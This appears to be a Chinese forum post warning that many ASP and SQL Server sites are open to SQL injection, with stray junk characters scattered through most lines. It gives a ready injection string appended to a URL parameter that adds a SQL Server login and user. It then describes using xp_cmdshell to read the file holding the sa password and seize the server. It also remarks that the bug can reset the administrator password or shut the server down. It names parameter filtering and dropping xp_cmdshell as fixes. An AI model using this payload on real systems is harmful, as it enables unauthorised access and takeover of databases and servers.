为了考证这种类型的程序BUG,笔者最近去了很多用ASP和SQL SERVER做的网站,发现绝大部分网站的程序有这个BUG,于是觉得有必要把这个问题贴出,以免大家犯同样的错误。" x5 R, D- N; `. a$ M
BUG描述:
" V+ K; N4 P" }, Z E 把一个有参数的xxx.asp?x=x程序变成xxx.asp?x=x;use pubs;exec sp_addlogin 'admin','admin','master';exec sp_adduser 'admin','admin','db_ower';--# h. W/ u$ P- F) @( m
BUG讲解:
2 {2 x2 g& O3 c6 {5 g/ U 这个BUG是利用参数未过滤来执行SQL语句增加一个用户,然后可以用此用户连上SQL SERVER,再通过exec xp_cmdshell 'type x.asp'来查看存有sa密码的ASP文件来获得SQL SERVER的最高权限。
R! k$ c) h' F( t BUG消除:7 I% x3 f1 {+ O* t5 {) n
程序增加参数过滤
' D2 s1 D+ f$ f2 _ 附:sp_addlogin和sp_adduser语法
2 O" w% P0 ]$ _sp_addlogin [@loginame =] 'login'
# H( a, \; o/ ^; K: N [,][@passwd =] 'password']
8 p) r8 F) [8 e9 y [,][@defdb =] 'database']+ D: [( y k9 ]8 T0 Y1 z& K* t- g
[,][@deflanguage =] 'language']& [# Z5 T1 z0 _3 o
[,[@sid =] 'sid']
* S6 E0 J4 s& p# i& b- H, k [,][@encryptopt =] 'encryption_option']0 j% p; W/ y5 @9 d
sp_adduser [@loginame =] 'login'# [: O5 t0 A/ Y) d
[,][@name_in_db =] 'user']
" ]8 R' T S. b a) C6 G0 N, U [,][@grpname =] 'group']& x* c- T4 M# `. U% r% r4 n* O+ e1 h
注:如果采取SQL SERVER设为本地连接、改变端品号、drop xp_cmdshell等等可以防止很多攻击行为呀 ^_^
& I. V* e9 b* |% f W1 J嘿嘿,这个BUG还可以用来改administrator的密码,让服务器关机等等& |4 G/ Q c* ]" ]
|